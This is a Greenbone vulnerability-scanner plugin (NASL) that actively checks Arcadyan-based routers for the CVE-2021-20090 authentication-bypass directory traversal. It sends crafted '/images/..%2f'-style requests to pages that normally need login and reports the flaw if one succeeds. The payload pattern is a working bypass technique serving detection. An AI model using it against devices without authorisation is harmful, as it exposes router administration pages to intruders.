Arcadyan Directory Traversal Vulnerability (Apr 2021) - Active Check

# Copyright (C) 2021 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.146487");
  script_version("2022-08-12T10:10:36+0000");
  script_tag(name:"last_modification", value:"2022-08-12 10:10:36 +0000 (Fri, 12 Aug 2022)");
  script_tag(name:"creation_date", value:"2021-08-10 09:45:16 +0000 (Tue, 10 Aug 2021)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2021-07-20 22:15:00 +0000 (Tue, 20 Jul 2021)");

  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2021-20090");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Arcadyan Directory Traversal Vulnerability (Apr 2021) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2021 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl");
  script_mandatory_keys("Arcadyan/banner");
  script_require_ports("Services/www", 443);

  script_tag(name:"summary", value:"Arcadyan devices are prone to a directory traversal vulnerability.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP GET requests and checks the responses.");

  script_tag(name:"insight", value:"Arcadyan based devices are prone to a directory traversal
  vulnerability where an unauthenticated attacker can access pages which normally would need
  authentication.");

  script_tag(name:"affected", value:"Multiple Arcadyan based devices (e.g. ASUS DSL-AC, Deutsche
  Telekom Speedport Smart 3, Buffalo WSR/BBR/WXR, Vodafone EasyBox and others).");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since
  the disclosure of this vulnerability. Likely none will be provided anymore. General solution options
  are to upgrade to a newer release, disable respective features, remove the product or replace the
  product by another one.");

  script_xref(name:"URL", value:"https://www.tenable.com/security/research/tra-2021-13");
  script_xref(name:"URL", value:"https://www.kb.cert.org/vuls/id/914124");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 443);

banner = http_get_remote_headers(port: port);
if (!banner || banner !~ "Server\s*:\s(Arcadyan )?httpd")
  exit(0);

host = http_host_name(dont_add_port: TRUE);
urls = make_list();
found_links = make_list();

exts = http_get_kb_file_extensions(port: port, host: host, ext: "htm*");
if (exts && is_array(exts))
  urls = make_list(exts);

foreach url (make_list_unique("/index.htm", "/index.html", "/info.html", urls)) {
  res = http_get_cache(port: port, item: url);

  # Search for additional possible URLs which need authentication
  links = egrep(pattern: '"[^.]+\\.html?', string: res);
  links = split(links, keep: FALSE);
  foreach link (links) {
    link = eregmatch(pattern: '"([^.]+\\.html?)', string: link);
    if (!isnull(link[1]))
      found_links = make_list_unique(found_links, link[1]);
  }

  if (!res || res !~ "^HTTP/1\.[01] 30[0-9]")
    continue;

  url = ereg_replace(pattern: "^/", string: url, replace: "");
  payloads = make_list("/images/..%2f" + url,
                       "/js/..%2f" + url,
                       "/css/..%2f" + url);

  foreach payload (payloads) {
    req = http_get(port: port, item: payload);
    res = http_keepalive_send_recv(port: port, data: req);

    if (res && res =~ "^HTTP/1\.[01] 200") {
      report = http_report_vuln_url(port: port, url: payload);
      security_message(port: port, data: report);
      exit(0);
    }
  }
}

foreach url (found_links) {
  url = ereg_replace(pattern: "^/", string: url, replace: "");
  url = "/" + url;
  res = http_get_cache(port: port, item: url);

  if (!res || res !~ "^HTTP/1\.[01] 30[0-9]")
    continue;

  url = ereg_replace(pattern: "^/", string: url, replace: "");
  payloads = make_list("/images/..%2f" + url,
                       "/js/..%2f" + url,
                       "/css/..%2f" + url);

  foreach payload (payloads) {
    req = http_get(port: port, item: payload);
    res = http_keepalive_send_recv(port: port, data: req);

    if (res && res =~ "^HTTP/1\.[01] 200") {
      report = http_report_vuln_url(port: port, url: payload);
      security_message(port: port, data: report);
      exit(0);
    }
  }
}

exit(0);